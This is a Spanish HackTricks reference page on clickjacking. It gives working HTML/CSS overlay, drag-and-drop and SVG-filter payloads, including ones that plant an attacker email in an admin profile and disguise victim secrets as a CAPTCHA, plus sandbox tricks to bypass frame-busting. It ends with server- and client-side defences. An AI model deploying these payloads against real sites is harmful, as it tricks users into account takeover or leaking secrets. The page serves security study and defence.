Clickjacking

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

¿Qué es Clickjacking

En un ataque de clickjacking, un/a usuario es engañado para hacer clic en un elemento de una página web que es invisible o está disfrazado como un elemento diferente. Esta manipulación puede provocar consecuencias no deseadas para el usuario, como la descarga de malware, la redirección a páginas web maliciosas, la entrega de credenciales o información sensible, transferencias de dinero o la compra de productos en línea.

Truco de prellenado de formularios

A veces es posible llenar el valor de los campos de un formulario usando parámetros GET al cargar una página. Un atacante puede abusar de este comportamiento para rellenar un formulario con datos arbitrarios y enviar el payload de clickjacking para que el usuario presione el botón Submit.

Rellenar formulario con Drag&Drop

Si necesitas que el usuario complete un formulario pero no quieres pedirle directamente que escriba cierta información específica (como el email y/o la contraseña específica que conoces), puedes simplemente pedirle que Drag&Drop algo que escribirá tus datos controlados como en this example.

Payload básico

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload de varios pasos

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Si has identificado un ataque XSS que requiere que un usuario haga clic en algún elemento para disparar el XSS y la página es vulnerable a clickjacking, podrías abusar de ello para engañar al usuario y que haga clic en el botón/enlace.
Ejemplo:
Encontraste un self XSS en algunos detalles privados de la cuenta (detalles que solo tú puedes establecer y leer). La página con el formulario para establecer esos detalles es vulnerable a Clickjacking y puedes prellenar el formulario con los parámetros GET.
Un atacante podría preparar un ataque de Clickjacking a esa página prellenando el formulario con el XSS payload y engañando al usuario para que envíe el formulario. Entonces, cuando el formulario se envía y los valores se modifican, el usuario ejecutará el XSS.

DoubleClickjacking

Explicado inicialmente en this post, esta técnica pediría a la víctima que haga doble clic en un botón de una página personalizada colocada en una ubicación específica, y usa las diferencias de tiempo entre los eventos mousedown y onclick para cargar la página de la víctima durante el doble clic, de modo que la víctima realmente haga clic en un botón legítimo en la página de la víctima.

Un ejemplo puede verse en este video: https://www.youtube.com/watch?v=4rGvRRMrD18

Un ejemplo de código se puede encontrar en this page.

Warning

Esta técnica permite engañar al usuario para que haga clic en 1 lugar de la página de la víctima, eludiendo cualquier protección contra clickjacking. Por tanto, el atacante necesita encontrar acciones sensibles que se puedan realizar con solo 1 clic, como prompts de OAuth que aceptan permisos.

SVG Filters / Cross-Origin Iframe UI Redressing

Las builds modernas de Chromium/WebKit/Gecko permiten que la propiedad CSS filter:url(#id) se aplique a cross-origin iframes. Los píxeles rasterizados del iframe se exponen al grafo de filtros SVG como SourceGraphic, por lo que primitivas como feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, etc. pueden deformar arbitrariamente la UI de la víctima antes de que el usuario la vea, aun cuando el atacante nunca toca el DOM. Un filtro de estilo Liquid-Glass simple se ve así:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Primitivas útiles: feImage carga bitmaps del atacante (p. ej., overlays, displacement maps); feFlood construye mates de color constante; feOffset/feGaussianBlur refinan los realces; feDisplacementMap refracta/deforma texto; feComposite operator="arithmetic" implementa matemáticas arbitrarias por canal (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), lo suficiente para aumento de contraste, enmascaramiento y operaciones AND/OR; feTile recorta y replica sondas de píxeles; feMorphology expande/contrae trazos; feColorMatrix mueve la luma a alfa para construir máscaras precisas.

Distorsionando secretos en prompts estilo CAPTCHA

Si un endpoint que puede enmarcarse muestra secretos (tokens, reset codes, API keys), el atacante puede distorsionarlos para que se parezcan a un CAPTCHA y forzar la transcripción manual:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

Los píxeles distorsionados engañan al usuario para que “resuelva” el captcha dentro del <input> controlado por el atacante cuyo pattern hace cumplir el secreto real de la víctima.

Recontextualizando entradas de la víctima

Los filtros pueden eliminar quirúrgicamente el texto de placeholder/validación mientras conservan las pulsaciones del usuario. Un flujo de trabajo:

  1. feComposite operator="arithmetic" k2≈4 amplifica el brillo de modo que el texto auxiliar gris se sature a blanco.
  2. feTile limita el área de trabajo al rectángulo del campo de entrada.
  3. feMorphology operator="erode" engruesa los glifos oscuros tecleados por la víctima y los almacena vía result="thick".
  4. feFlood crea una placa blanca, feBlend mode="difference" con thick, y un segundo feComposite k2≈100 lo convierte en una máscara de luma muy marcada.
  5. feColorMatrix mueve esa luma al canal alpha, y feComposite in="SourceGraphic" operator="in" conserva solo los glifos introducidos por el usuario.
  6. Otro feBlend in2="white" más un recorte fino dan un cuadro de texto limpio, tras lo cual el atacante superpone sus propias etiquetas HTML (por ejemplo, “Introduce tu correo electrónico”) mientras el iframe oculto sigue imponiendo la política de contraseñas del origen de la víctima.

Safari tiene problemas con feTile; el mismo efecto puede reproducirse con spatial mattes construidas a partir de feFlood + feColorMatrix + feComposite para WebKit-only payloads.

Sondas de píxeles, lógica y máquinas de estado

Al recortar una región de 2–4 px con feTile y teselarla al 100% del viewport, el atacante transforma el color muestreado en una textura de fotograma completo que puede convertirse mediante umbral en una máscara booleana:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Para colores arbitrarios, una referencia feFlood (p.ej., #0B57D0) más feBlend mode="difference" y otro composite aritmético (k2≈100, k4 como tolerancia) produce blanco solo cuando el píxel muestreado coincide con el tono objetivo. Alimentar estas máscaras en feComposite con k1..k4 ajustados genera puertas lógicas: AND vía k1=1, OR vía k2=k3=1, XOR vía feBlend mode="difference", NOT mezclando contra blanco. Encadenar puertas forma un sumador completo dentro del grafo de filtros, demostrando que la canalización es funcionalmente completa.

Por tanto, los atacantes pueden leer el estado de la UI sin JavaScript. Ejemplos de booleanos en un flujo modal:

  • D (diálogo visible): sondear una esquina oscurecida y probar contra blanco.
  • L (diálogo cargado): sondear las coordenadas donde aparece el botón una vez listo.
  • C (casilla marcada): comparar el píxel de la casilla con el azul activo #0B57D0.
  • R (red success/failure banner): usar feMorphology y umbrales rojos dentro del rectángulo del banner.

Cada estado detectado activa un bitmap de superposición diferente embebido vía feImage xlink:href="data:...". Enmascarar esos bitmaps con D, L, C, R mantiene las superposiciones sincronizadas con el diálogo real y guía a la víctima a través de flujos multi-paso (restablecimiento de contraseña, aprobaciones, confirmaciones destructivas) sin exponer nunca el DOM.

Browser extensions: DOM-based autofill clickjacking

Además de iframing páginas de la víctima, los atacantes pueden apuntar a elementos de UI de extensiones del navegador que se inyectan en la página. Los gestores de contraseñas renderizan desplegables de autofill cerca de los campos enfocados; enfocando un campo controlado por el atacante y ocultando/ocluir el desplegable de la extensión (opacity/overlay/top-layer tricks), un clic coaccionado del usuario puede seleccionar un elemento almacenado y rellenar datos sensibles en campos controlados por el atacante. Esta variante no requiere exposición por iframe y funciona completamente mediante manipulación DOM/CSS.

Estrategias para Mitigar Clickjacking

Defensas del lado del cliente

Los scripts ejecutados en el lado del cliente pueden realizar acciones para prevenir Clickjacking:

  • Asegurarse de que la ventana de la aplicación sea la ventana principal o superior.
  • Hacer visibles todos los frames.
  • Prevenir clics en frames invisibles.
  • Detectar y alertar a los usuarios sobre intentos potenciales de Clickjacking.

Sin embargo, estos frame-busting scripts pueden ser eludidos:

  • Configuraciones de seguridad del navegador: Algunos navegadores pueden bloquear estos scripts según sus configuraciones de seguridad o por falta de soporte de JavaScript.
  • Atributo sandbox de iframe HTML5: Un atacante puede neutralizar los frame buster scripts estableciendo el atributo sandbox con los valores allow-forms o allow-scripts sin allow-top-navigation. Esto impide que el iframe verifique si es la ventana superior, p. ej.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Los valores allow-forms y allow-scripts habilitan acciones dentro del iframe mientras deshabilitan la navegación a nivel superior. Para asegurar la funcionalidad prevista del sitio objetivo, podrían ser necesarios permisos adicionales como allow-same-origin y allow-modals, dependiendo del tipo de ataque. Los mensajes de la consola del navegador pueden indicar qué permisos permitir.

Server-Side Defenses

X-Frame-Options

El encabezado de respuesta HTTP X-Frame-Options informa a los navegadores sobre la legitimidad de renderizar una página en un <frame> o <iframe>, ayudando a prevenir Clickjacking:

  • X-Frame-Options: deny - Ningún dominio puede enmarcar el contenido.
  • X-Frame-Options: sameorigin - Solo el sitio actual puede enmarcar el contenido.
  • X-Frame-Options: allow-from https://trusted.com - Solo el ‘uri’ especificado puede enmarcar la página.
  • Ten en cuenta las limitaciones: si el navegador no soporta esta directiva, podría no funcionar. Algunos navegadores prefieren la directiva frame-ancestors de CSP.

Content Security Policy (CSP) frame-ancestors directive

La directiva frame-ancestors en CSP es el método recomendado para la protección contra Clickjacking:

  • frame-ancestors 'none' - Similar a X-Frame-Options: deny.
  • frame-ancestors 'self' - Similar a X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Similar a X-Frame-Options: allow-from.

Por ejemplo, la siguiente CSP solo permite que la página sea enmarcada desde el mismo dominio:

Content-Security-Policy: frame-ancestors 'self';

Más detalles y ejemplos complejos se pueden encontrar en la frame-ancestors CSP documentation y en la Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) with child-src and frame-src

Content Security Policy (CSP) es una medida de seguridad que ayuda a prevenir Clickjacking y otros ataques de inyección de código al especificar qué fuentes el navegador debe permitir para cargar contenido.

frame-src Directive

  • Define las fuentes válidas para frames.
  • Más específica que la directiva default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Esta política permite frames del mismo origen (self) y https://trusted-website.com.

child-src Directiva

  • Introducida en CSP level 2 para establecer fuentes válidas para web workers y frames.
  • Actúa como fallback para frame-src y worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Esta política permite frames y workers desde el mismo origen (self) y https://trusted-website.com.

Notas de uso:

  • Deprecación: child-src está siendo eliminado en favor de frame-src y worker-src.
  • Comportamiento de fallback: Si frame-src está ausente, child-src se utiliza como fallback para frames. Si ambos están ausentes, se utiliza default-src.
  • Definición estricta de fuentes: Incluye únicamente fuentes de confianza en las directivas para prevenir explotación.

JavaScript Frame-Breaking Scripts

Aunque no son completamente infalibles, los scripts frame-busting basados en JavaScript pueden usarse para evitar que una página web sea enmarcada. Ejemplo:

if (top !== self) {
top.location = self.location
}

Empleando Anti-CSRF Tokens

  • Validación de tokens: Utilice anti-CSRF tokens en aplicaciones web para asegurarse de que las solicitudes que cambian el estado se realicen intencionalmente por el usuario y no a través de una página Clickjacked.

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks